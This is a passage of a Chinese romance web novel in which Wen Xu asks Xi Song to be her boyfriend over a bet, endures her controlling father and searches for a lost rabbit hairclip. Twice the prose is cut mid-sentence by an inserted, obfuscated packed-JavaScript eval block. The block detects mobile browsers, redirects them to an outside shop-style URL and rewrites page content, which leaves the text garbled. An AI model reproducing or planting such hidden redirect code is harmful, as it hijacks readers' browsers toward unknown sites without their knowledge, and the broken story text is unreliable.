闻栩不敢抬头看习颂的表情,她反思时总以为自己是十恶不赦的大坏人,不放过自己,还试图玷污一个干净到过分的好人。 当然,这统统都是演的。 “所以,你所认为的荒唐举动,是冲动造成的失误,是吗?” 习颂的声音夹杂在古典乐中缓缓道来。这是今天他对她说的第一句话。 “换句话说,你拥有世界上独一无二的后悔药,可以帮助你回到过去。你就不会对我做出那些你以为很出格、又惹我生气的事情了吗?” “我……” 闻栩紧闭了眼睛,等待凌迟的命运。 却听习颂沉着气,轻轻道:“可是,闻栩,我并没有生你的气。也并不认为你阐述的道歉内容,和你实际有半字相符。” 闻栩忽地一愣,随即缓缓睁开眼。 “你夸大事实,意图得到我的原谅。”习颂问,“是因为你后悔了吗?” 闻栩怔住。 后悔吗? 倒也没有。 不管是亲了习颂,还是说他是自己男朋友,都是当下她最想要做的事。既然想要做,又哪里会后悔? 全部都是按着计划在走。 之所以道歉,是她以为习颂会在意她的冒犯。她只是想要给习颂找一个心安的借口罢了。 闻栩深吸一口气,眼底的光渐渐沉淀下来。 “我没有后悔。” 她的声音很轻,却像羽毛落在他心上。 空气凝滞了片刻。 她忽然抬起眼,直直望进他深邃的眸子里。连珠炮似的发问: “习颂,你被女孩亲过吗?” “你有喜欢的人吗?” “那……你想谈恋爱吗?” 指尖在桌下悄悄攥紧,她终于将最核心的问题问出了口: “我是说,那你愿意和我谈恋爱吗?” 习颂隔着餐桌安静地看她,目光像在细细描摹她每一寸表情,辨别其中真意。 “习颂,我是认真的。” 闻栩一字一句,清晰地说道,“如果经历了那天的事,你还不讨厌我的话……可以和我在一起吗?我想对你负责,想让你当我男朋友。” “为什么呢?”习颂的声音很平静,“你见过我几次?你说喜欢我,又喜欢我什么?” 闻栩低头,认真地掰着手指数起来。一只手不够,又用上另一只。 “很多次。” 这个数字对她而言意义非凡。在浮华的娱乐圈里,这样的“很多次”已是难得。 “那你为什么想和我在一起?” 他追问,目光沉静如水,“闻栩,你喜欢我吗?” 11. Chapter 11 “当然!”闻栩几乎是抢答。 习颂仍旧注视着她,不肯轻易相信:“真的吗?” “……嗯,真的。” 闻栩在他对面举起手,像立下最郑重的誓言,“说谎的人,会不得好死的。” 玻璃杯中的水随着誓言轻轻一晃,她不屑的笑轻轻绽在唇畔。 习颂:“……” 店内的古典乐曲在此刻戛然而止。 闻栩依旧在立誓。 她在说什么?她自己清楚这话的分量吗? 闻栩当然知道。 活着是很累的啊。 死是最简单的事情了。 服务员安静地上菜,又悄然离去。 门开合间带进一丝微凉的空气,闻栩静静呼吸着,除了维持呼吸,她不知该如何打破这诡异的僵局。 长久的沉默后,竟是习颂再次开口,他今晚沉默得不多,两人仿佛在谈判。 “你新一期的节目我看了。” 他声音低沉,轻轻的诉说着:“唱得很好听,但大家似乎并不在乎你唱了什么,只关注你和谁站在一起合唱。” 他顿了顿:“我妹妹乐园问我,他们之中,谁与你更般配,我不知道。我不认识那些人,即便认识,我也无法公正地回答。” “乐园非要一个答案,可我听着她口中那个她无比崇拜的你,只记得……你明明已经亲过我了……” 闻栩:“……” 果然,他在意那天的吻。 习颂垂着眼,顶灯在他长长的睫毛下投出一片柔和的阴翳,那模样莫名显得楚楚可怜。 闻栩光是看着,潜在的良心竟然阵阵发痛。 她想说“对不起”,可她知道,最初没能说出口的道歉,如今已彻底失去分量。 何况,习颂要的,从来就不是她的道歉。 那他究竟要什么? 闻栩在沉默中思考,杯中的水渐渐凉透,指尖的温度也随之流失。她望着那杯水,想起和步洄游的赌约,想起秦姬不堪的过往,想起那些试图入侵她生活、不断带来痛苦的人和事。 “我和凌敬圭只是朋友,和步洄游也是。”她忽然开口,声音异常平静,“在遇见你之前,我没有谈过恋爱,也没有喜欢过任何人。” 话语流畅地脱口而出,仿佛早已排练过千百遍。唯有眼神在碎发的阴影里,显得愈发空洞、麻木。 “当然,在遇见你之前,我也没有亲过别人。” 她抬起头,唇角努力牵起一个久违的、动人的微笑。 “所以,习颂,你愿意的话,我肯定会对你负责啊。” 她笑着望向他,眼底却蒙着一层薄雾。 “就是不知道,你愿不愿意?愿不愿意跟我在一起,成为我的初恋……以及我的男朋友?” 习颂凝视着女孩脸上那抹看似明媚自然的笑容,有片刻的晃神。 恰在此时,古典乐重新响起。悠扬的旋律伴随着隐约的鼓点。 却怎么也压不住现场那颗异常活跃、剧烈跳动的心跳声。 它跳得太快、太响了。 响到混淆了许多细微的真相,响到让那时的习颂,一度天真地相信—— 闻栩是认真的。 哪怕只有一点点。 这一秒,她是真的,正在喜欢着他。 * 电视屏幕里,年轻的秦姬正在向心仪的人表白,眉眼间是她从未见过的娇羞。 “我当然会对你负责啦。” 屏幕上的女人笑靥如花,“就是不知道付薄征你愿不愿?愿不愿意跟我在一起,成为我的初恋,以及我的男朋友——” 对面的男生在寂然愣神之中笑了出来,意外却十足的开心。 他说了什么闻栩没有细听,脑子昏昏涨涨,她有气无力的伏在沙发上一声不吭。 步洄游踹开门的巨响惊得保洁阿姨手一抖,差点摔了手中的青花瓷瓶,等开了门,她扭头看了眼来人铁青的脸色,识相地放下花瓶,悄无声息地退出了客厅。 “解释清楚。” 步洄游将手机重重砸在茶几上,屏幕亮起的白光刺眼——赫然是“海间”会所的监控截图,画面里她和习颂一前一后走出包厢。 闻栩慢吞吞地收回视线,在闹钟滴答声中咽下最后一口药片,声音平淡得像在说今天天气不错:“约饭而已。” “然后呢?” “然后?”她歪了歪头,认真回忆昨晚的细节,如实相告,“哦,然后,他现在是我男朋友啊。” 空气凝滞了三秒。 步洄游一度怀疑自己听错了:“你说什么?” 闻栩重复道:“我说,我们正在交——” “……你发什么疯?” 根本不等她说完,步洄游一把将她趴在沙发上的身体翻了过来:“是不是没吃药!” “我最近有在按时吃药。”闻栩指了指茶几上的药瓶,语气平静得近乎残忍,“再说,交往这种事跟我发病没关系吗?” “没关系吗?” 步洄游瞳孔骤缩,三秒的死寂后,他突然俯身撑住沙发靠背,将闻栩整个人笼罩在身下的阴影里:“这还不算吗?大街上随便拉个素人过来就谈恋爱,你知道他是什么底细吗?你了解他多少?你知道他是真的喜欢你还是另有所图——” “重要吗?”被罩在他身躯投下的阴影里,闻栩突然打断他,声音像浸了冰,“谁规定恋爱必须两情相悦?他喜欢我吗?我不在乎。” “那你为什么——” 步洄游的指节捏得发白,青筋在手背上暴起:“就为了那个赌约?你非得做到这个地步?恋爱之后呢,你们会做什么?男人都一样,你别真被他卖了还替他数钱。” “这才哪到哪,你也犯不着杞人忧天。”闻栩拿起遥控器调低电视音量,综艺嘉宾的笑声顿时化作模糊的背景音,“况且,步洄游,你在气什么?你和那些女生谈情说爱的步骤,不比这更简单明了?亲一下,睡一觉,第二天醒来,她就是你女朋友了。我模仿你的交友节奏,你又在怪我什么?” 步洄游突然冷笑出声。 他松垮的领带垂落下来,露出脖颈上隐约可见的暧昧红痕——闻栩早在进门时就发现了那些痕迹,他压根儿没想藏着掖着,像是故意要让她看见。 “学我?”步洄游俯身捏住她的下巴,压低了声音,“我玩得起,你呢?哪次打赌输了,不是我放水的?” 闻栩运气不好,打赌这事儿她永远是输的那方,也永远是爱耍赖的那方。以前步洄游会无条件顺着她,但这次说什么都不会同意——他以为那天是因为闻栩犯病了才一时冲动。 可她说:“这次,我是认真的。” 闻栩抬眼看他,眼神平静得可怕:“既然他现在是我男朋友,我就会拿出谈恋爱的姿态和他相处。你说的更进一步兴许是迟早的事,可我并不害怕,因为我说过,我不在乎。” 和以前爱耍赖的嘴脸完全不同。 步洄游能看出来,这次闻栩确实是认真的。 可他不明白:“这个赌没有意义。” 余光里,电视荧幕上闪过一个男人的身影正走在秦姬的身边。 闻栩不置可否:“但它会有一个结果。我想看看,我和他——又能走到哪一步。” “为什么偏偏是他?”步洄游始终不会理解。 闻栩告诉他:“那你觉得,我为什么要被生下来?” 步洄游别开眼:“这是两码事。” “我对他有兴趣。这个理由够了吗?” “他配不上你。” “你在怕什么?” 闻栩突然笑了,笑容里满是疲惫的嘲讽,“怕我和他发生了一切却赌输了,让你来收拾烂摊子?你害怕自己成为第二个闻鹤津是吗?” 她抬眼看他,枯井般的瞳孔里映着电视变幻的光影。 憧憧人影中,有个穿着白色T恤的男生将秦姬搂在怀里,她一时分不清那个人是谁。 “你用不着故意羞辱我。” 步洄游的声音沉下来,“我对其他女人远没有对你耐心,这是个人都看得出来。Vibby,你应该想想——输了的话,你怕不怕我会折磨你,想尽一切办法把他留在你身上的痕迹,擦干抹净。” “那还真是和闻鹤津没有分别了。” 闻栩厌恶地蹙眉。 步洄游身上还留有其他女人的香水味,刺鼻得很,她提醒道:“先不提这些。我们不妨再打个赌——就赌明天我爸爸回来后,我还能多活过几天?输了的人要给另外的人陪葬。赌不赌?” 步洄游再次沉默了。 * 闻鹤津三个月前去了东城拍戏。 恰好秦姬前两天也去了东城巡演。命运像是刻意安排的巧合——两人结束各自的行程,搭乘同一趟航班回来,今天傍晚就能落地上都机场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481875|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 经纪人提前收到消息,特意来通知闻栩去接机。 目的很明确:宣扬明星家庭的和谐幸福,既能为国家倡导的婚育事业添砖加瓦,更重要的是能再收割一波热搜。 闻栩对此早已麻木,出道前她从未接过机,而出道后,每一次接机都变成了精心策划的公关表演。 这种虚伪让她自我厌恶,但在父母和公司的双重压力下,她不得不戴上完美女儿的面具。 公司的保姆车准时抵达机场。 闻栩刚下车,就被眼尖的路人认了出来。她今天穿了一身淡粉色的连衣裙,耳旁别着兔耳发夹,整个人像是从童话里走出来的千金小姐。 “快看!是小秦姬!” “天哪,真人比照片还要精致,这皮肤是真实存在的吗?” “基因彩票中奖者啊,父母都是神颜……” “简直像橱窗里的BJD娃娃,好想抱回家……” 这些千篇一律的赞美钻入耳中,闻栩早已习以为常。她混在人群中走向接机口,机械地收下几份礼物,签了几张明信片。 随着她的移动,周围聚集的人越来越多。手机镜头和专业相机如同猎枪般对准她,此起彼伏的快门声和刺眼的闪光灯让她睫毛微颤。 但她的表情管理无懈可击——嘴角挂着恰到好处的甜美微笑,双手乖巧地交叠在身前,活脱脱一个国民闺女的形象。 只有她自己知道,扶着栏杆的手指已经用力到发白。 她一眨不眨地盯着出机口,生怕错过父母出现的瞬间。一旦表现出一丝懈怠,明天热搜可能就是#闻栩接机心不在焉#、#明星家庭疑似不和#。 这个阴暗的念头刚冒出来,就被眼前的一幕打断了。 出机口处,闻鹤津和秦姬手挽着手走出来,在众目睽睽之下亲密依偎。闻栩立刻换上惊喜的表情,小跑着扑进他们的怀抱。 “爸——妈——” 粉丝们一路跟拍到停车场,直到亲眼目睹这一家三口坐上保姆车,才依依不舍地散去。 车窗缓缓升起,隔绝了外界的视线。 闻栩脸上甜美的笑容随之慢慢淡去,像潮水退潮后裸露的礁石。她终于有了喘息的机会——刚才被人群簇拥着,浑身都沾上了各式各样的味道。她消化不好,干呕了几次才缓解。 “还不适应大场合?” 闻鹤津从真皮座椅的阴影里递来一瓶冰镇矿泉水。瓶身凝结的水珠滴落在闻栩手背上,凉得刺骨。男人的语气比未开封的矿泉水更冷硬。 闻栩灌了口水,凉意入肺,不适感减轻了些:“有点缺氧。” “矫情。”闻鹤津直指问题的关键所在,“你那乐队过几天的演出好好表现,到时候公司会造势宣传。虽然场子小,但后期运营跟上来的话,还是能涨一波粉的。” 闻栩点点头:“知道。” 车开上高速,彻底甩掉了粉丝的纠缠。 闻鹤津换下营业的状态。离开三个月,他开始一件件清算:“前几天在步家那事儿,你胡闹什么?” 这事儿发生了就肯定瞒不住。步家也不会轻易算了,尤其是挑事儿的主谋——敢挑事儿就表明她能承担后果。更顺利的话,还能惹不到一身骚,祸水东引。受害者始终如一。 自认说多错多,闻栩索性什么都不说。 这反而让闻鹤津不悦:“说话。还是说你又发病了?” 闻栩不情愿地开口:“没有。” “什么原因?” “伯母说了妈妈的坏话。” 她老实交代,“我听不下去也气不过,就……上手了。” 这个理由只有事实的一半。闻栩略去了海鲜那一段,挑着闻鹤津会在意的那部分解释。 果然,闻鹤津眉间的寒意稍霁。 靠在他怀里的秦姬突然嗤笑一声:“那个老女人,年轻时争不过我,现在倒是学会在晚辈面前嚼舌根。” 她抬起穿着高跟鞋的脚,不轻不重地踹在闻鹤津小腿上,“女儿替我出头怎么了?倒是你,当年四处留情的债,现在报应到女儿身上。” 闻鹤津面不改色地握住妻子纤细的脚踝:“我从没给过她们眼神。”他低头凑近秦姬耳畔,声音压得极低,却恰好能让闻栩听见,“这辈子不就栽在你手里了?” 秦姬轻哼一声,仰头在丈夫下颌落下一吻,像只餍足的猫般蜷回他颈窝。 闻栩立即转头望向窗外。 12. Chapter 12 秦姬和闻鹤津的腻味让人不忍卒读。 那些被强压下的秘密在胸腔里翻涌,几乎要冲破喉咙,令人反胃。 闻鹤津接下来的盘问转向学业和通告。 闻栩对答如流,从完成度到质量都无可挑剔——这是她多年练就的生存技能。 闻鹤津难得没有挑刺,在秦姬的招惹下,不可控地同她亲热在一起。 车辆驶下高速,向公司方向平稳行进。秦姬突然撒娇要喝奶茶,助理匆忙下车采购。闻鹤津刷着微博,秦姬在他怀里小憩,闻栩低头玩着节奏大师,指尖在屏幕上飞舞。 就在即将完美通关的瞬间—— 一阵尖锐的疼痛从耳后传来。 闻栩条件反射地捂住头发,却摸了个空。 闻鹤津正捏着那枚兔子发夹端详,金属配件在他掌心泛着廉价的光泽。 “这种地摊货,你也带得出门?”他手指一松,发夹掉落在车内地毯上,发出轻微的声响。 车窗适时降下。 很快,那抹粉色瞬间消失在飞驰的车流中。 闻栩不敢反驳,手指不自觉弓起,攥紧了裙摆,眼睁睁的看着自己喜欢的东西被闻鹤津毁于一旦。 小小的东西,扔出去就很难找到了。 尤其是在人流量密集的地方。 闻栩有过冲下车去捡的念头,但闻鹤津无声的压迫让她从头到脚都不敢做出任何逾越的行为。 有逾越,就会有惩罚。 她害怕,就只能默默承受。 直到助理买回秦姬爱喝的奶茶,车子重新启动,驶离原地,闻栩才想起游戏还没通关。 低头看向手机界面。 “挑战失败”几个大字映入眼帘,无声宣告着她的无能与软弱。 可偏偏,她在这时最不想轻易认输。 * 乐队排练结束得比预期早。 夕阳的余晖透过落地窗,在闻栩的睫毛上投下细碎的金光。她收拾着乐谱,听见身后步洄游懒洋洋的声音: “送你回去?今晚约了人去酒吧,不过——”他故意拖长音调,“要是Vibby你开口求我,也不是不能推掉。” 闻栩头也不抬地合上琴盖:“时代广场放我下来。” 步洄游挑眉,腕间的银链随着动作发出清脆的声响:“这个点逛街?” 他忽然凑近,身上淡淡的雪松香混着烟草气息笼罩过来,“我陪你啊,反正那些局也腻了。” “不用。”闻栩侧身避开他的气息,“找东西。” “什么东西这么金贵?” 步洄游嗤笑一声,手指卷着她一缕发丝把玩,“报个价,我买十个赔你。” “兔子发卡。”她拍开他的手。 步洄游动作一顿,眼底闪过一丝晦暗:“我说怎么今天看着顺眼多了。” 他突然转身从后座捞过一个墨蓝色丝绒礼盒,献宝似的递到她面前,“打开看看?” 闻栩瞥见盒角烫金的品牌logo,连碰都没碰:“什么东西?” “发卡啊。” 步洄游用指节敲了敲盒盖,发出沉闷的声响,“上次不是说好了?专门找意大利设计师定制的,镶了十二颗粉钻的——” “不喜欢。”闻栩打断他。 步洄游的笑容僵在脸上:“你都没看。” “我有喜欢的了。”她望向窗外飞逝的街景,“别的都入不了眼。” “至于吗?你怕他那个穷小子感到压力?” “我不想让他吃醋。更不像某些人,吃着碗里还看着锅里。” “……行。” 车厢陷入诡异的沉默。 步洄游突然降下车窗,夜风呼啸而入。 那个价值六位数的礼盒在空中划出一道抛物线,精准地落进路边的垃圾桶。 闻栩的瞳孔微颤,却始终没有回头。 他们总是这样,用最昂贵的礼物当武器,用最刻薄的语言作盾牌,就像两只困兽,明明伤痕累累却还要装作游刃有余。 明天天一亮,步洄游还是放不下闻栩。 时代广场的霓虹灯在车窗上流淌。步洄游踩下刹车的力度比平时重了三分:“到了。” 闻栩推开车门时,听见他最后一句带着火药味的话:“祝你好运,找你的‘心头好’。” 引擎轰鸣着远去,尾灯在夜色中拉出猩红的轨迹。 闻栩站在人潮汹涌的广场中央,突然觉得那枚被父亲丢弃的廉价发卡,或许早就被无数路人踩进了地砖缝隙里——和她那些说不出口的执念一样,永远见不得光。 闻栩走到白天车停的位置,开始找了起来。 从广场的每块地砖绕到花圃,再从花圃跑到路牙的边角。找了一圈又一圈,就是没看见。 可能还有别的地方被忽略了?闻栩想着,直起腰背,差点没痛得晕过去,与此同时,头脑也开始晕乎乎地发沉。 今晚没吃饭,又低头找了半天,这会儿估计又低血糖了。 附近没有坐的地方,她只能走到石墩子上暂时歇脚。 眩晕的感觉一点都不好。脚明明踩着地,却总觉得浮在半空。四肢轻飘飘的,头却沉重得厉害。 闻栩用手支着额头,弓着身,闭着眼,努力撑着缓劲儿。 前方的路口,行人络绎不绝。 不远处的时代广场灯火辉煌,夜生活的画卷在这里尽情铺展,人群络绎不绝,热闹非凡。 闻栩不喜嘈杂环境,连睡觉都容忍不了一丝动静。 此刻,身体的不适和心理的不适都达到了一定程度,难受是双份的,痛苦也是,偏偏在她最脆弱的时候,有人隔着老远喊了一句: “习颂!看什么呢,过来啊,公交快到了!” 闻栩心头一颤,本能地想去找人。 然而,她都来不及抬头,就听到脚步声由远及近——急促得像鼓点,一下又一下,敲击着她的心房。 她勉强支起上半身。 那人停在她身边,低声喊了她的名字: “闻栩?” “你怎么了?” 他出声的一刹那,细细密密的鼓点错落有致地落下,开始慢慢沾满了她整个心脏。 这些,此刻的闻栩统统不知道。 她只知道,在那一刻,有人为了她停下了脚步。 可能是太不相信会在这里遇见,闻栩的颜色融在黑夜里,不太能辨出身份,他的语调透着股不确定。 “闻栩?” 她却在他喊出名字时愣了很久。 直到不适感再度袭来,她再也撑不住,伸手胡乱抓住了什么,整个人都靠了过去。 她能感受到习颂僵住的身体——和那次偷袭的吻一样。 也能清晰地听到他的同伴赶到时,被眼前颇为不可思议的画面震惊得倒吸一口凉气。 闻栩猜想,她一定是干了什么对别人而言格外出格的事,才有这一连串的反应。 可是,又有哪里不对吗? 习颂现在是她的男朋友啊,抱一下怎么了。 “你不会推开我的吧,习颂。” 她抓着他的手臂,整个人埋在他胸口之下,像快要溺死的人抓住浮木般拼命求生。脸埋在他的衣服里,鼻尖飘散着熟悉的清香,虚弱的哀求低到快要听不见了:“我低血糖,就借我靠一会儿吧。” 如她所料,有“男朋友”头衔的习颂真的没有推开她。 还平白无故地给她靠了接近十分钟,又让同伴买来奶茶喂到她嘴里。 十足的糖分裹挟着甜腻一下子钻入所有感官,她在习颂周身的清冽与奶茶的甜腻交织的气味里,慢慢好了起来。 “得救了。” 闻栩抱着奶茶又多喝了几口,得空感谢道:“谢谢你,习颂,你又救了我一命。” 这会儿习颂站在她身边,闻栩还坐在路墩子上。周围依旧人流如织,她将奶茶一饮而尽,赶忙戴上了口罩。 习颂第一次见她身边没人,眉头微蹙:“你一个人出来的?” 闻栩点头,回头看了眼不远处假装很忙的男生。她担心自己占用了他太多时间耽误正事,忙道:“你朋友在等你呢,我已经没事了,你先走吧。” 这话听上去,容易被人误会是在赶人。 习颂抿唇,杵着没动。 不远处那个男生尴尬地摸了摸脑袋,嘻哈了两声,冲这边挥了挥手:“那什么,习颂,我就先走啦,开学再细聊你和你女朋友哈——” 话落,脚底抹油,跑得飞快,压根不用坐公交。 等他走了之后,习颂才像电路刚连上似的,半慢拍地回:“没关系,我不认识他,我也不忙。” 闻栩:“……” 习颂在她身边坐下:“我留下陪你。” 闻栩默许了他的陪伴。 风轻轻吹,她闻到他身上好闻的气味,心口的憋闷缓解了不少:“你跟他说了我是谁,以及我们的关系吗?” 习颂投来意味不明的目光:“不能说吗?” “倒也不是。”闻栩说,“只是好奇,你朋友如果知道你跟我谈恋爱,会有什么样的反应?” 习颂却道:“我没有。” “那他怎么说我是你女朋友?” “还不够明显吗?”习颂扫了眼一直被牵住的手,关切问道,“你还有哪里不舒服吗?” “还有点头晕。”闻栩叹气。 “那……”习颂思忖了几秒,放低了一侧的肩膀,“你还要再靠一会儿吗?” 没有料到他会主动,闻栩见好当然要收:“好啊。” 习颂很瘦,骨骼感很重,但靠上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481876|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去却一点不难受,加之近距离能闻到好闻的洗衣液味道,闻栩并不排斥这样的接触。 休息得差不多了,闻栩试着站起来走了几步。除了腰酸肚子饿,没哪里不对劲,才宽下心来。 一起放松的还有习颂紧绷的肩膀,微微下沉,平直宽阔。 “我没事了。”闻栩呼出一口气,真是后知后觉地自己吓自己。 既然没事了,那就要干正事了。她又活力满格,埋头就冲。 习颂叫住她:“去哪?” 闻栩:“不去哪,就在这附近。” “做什么?” “找东西。” 闻栩道,“我的发卡——就是我经常戴来见你的那个兔子发卡——被我爸……我不小心弄掉在这附近了,我想找回来。” 习颂跟着扫了眼她耳朵的位置。固定头发用的发卡果然不见了,头发没了约束,把小小的耳朵再次藏了起来。 “什么时候丢的?” “就今天白天。” “这里人流量大,还有环卫工人定期清扫。发卡又小,应该很难找到了。” 闻栩边埋头找边回:“我知道,但不试试怎么知道一定找不到呢?我很喜欢那个兔子发卡,它丢了,我不想什么都不做就去承认它不再属于我的事实,那样,我的一句‘很喜欢’倒显得很廉价,很可笑。” 习颂走到她身边:“那个发卡本身就很廉价吧。” “是啊,在你奶奶那买的,是她手工做的,一个也只要一块钱,是不贵。”闻栩说,“但我很喜欢啊。因为喜欢,它不再廉价,我想用我的行动证明我对它的喜欢,然后让它溢价,我会超开心。” 闻栩说完,反倒觉得不好意思,逃避着他追过来的视线,索性低下头又找了起来。 习颂看着她在眼前笨拙地地毯式搜寻,不难猜测出在碰到他之前,她又重复了多少遍、花了多长时间、又有多累,才把自己折腾出了低血糖,险些晕倒在人流里。 光是想到这些,习颂目光垂落,眼底流露出细腻柔和的情绪。 几秒后,他抬起眼:“我帮你找吧。” 闻栩没有拒绝:“那麻烦你了。找到的话,请你喝奶茶。” “不用。” 习颂道:“你超开心就好。” 又地毯式搜了一遍,闻栩这边还是一无所获。 正好附近有人扔了个矿泉水瓶,闻栩把目标又落到了垃圾桶上。她严重怀疑是不是爸爸扔出来时无巧不巧就扔进了垃圾桶里。 这么想着,她干脆一不做二不休,白皙细腻的手就要往桶口伸。 “找到了。” 习颂走了过来,见她的动作,微愣:“你……” “我怀疑它在垃圾桶里,刚想翻来着,你就找到了。”闻栩立马双手捧过来,“给我吧,在哪里找到的?” 习颂将发卡放到她手心:“路灯后面的地缝里,估计是环卫工人扫到那里去的。” 闻栩“哦”了声,翻来覆去看了好几眼,确定是自己的那枚兔子发卡,才彻底放了心:“找到就好。” “它很脏了。”习颂找到它时已经从嫩粉色变成了灰黑色,“这种毛线质量本来就不好,清理一遍也恢复不到以前毛茸茸的样子。” “没关系,找到就好。大不了不戴了,我收起来就是了。就是有点可惜。”闻栩叹了口气,“我本来想在音乐节戴着它上场的,连配的发型和衣服都准备好了,现在……” 说没关系也都是假的。谁能眼睁睁看着喜欢的东西变脏变坏呢?闻栩尽量不让自己的失落表现得太明显,收敛了很多。 她的嘴角却是骗不了人的,逢到不高兴就降下去了。 从习颂的角度其实看不到她的嘴角,她也戴了口罩把自己包得很严实。除了听语气,没什么能分辨出她此刻的心情变化。 习颂停在原地,盯着那枚发卡看了几秒,状似随意道:“买你发卡的人虽然是我奶奶,但你手里的这个发卡是我帮她做的,你要是不介意换个新的,我可以再给你做一个。” 闻栩听到这,立刻抬头看向他,少女的精神气恢复得很快,鸭舌帽下唯一露出的眼睛在黑夜里一如既往地明亮:“你亲手给我做吗?” 习颂抿了抿唇:“不喜欢的话,我也可以让我奶……” “奶奶做的好看。”有求于人时,闻栩格外精神抖擞,“但我更想要你亲手做的。你就帮我做一个吧,就一个,好不好,男朋友?好不好嘛,习颂?” 习颂架不住她的好言好语,也架不住闻栩把自己的脸送过来。 他偏过脸,微微不自在地低声道:“好。” 那双红透的耳朵在黑夜里依旧鲜艳,落进闻栩眼里,不禁成了幽默的粉末,令她下意识笑了出来。 “习颂,你真可爱。” 习颂:“……”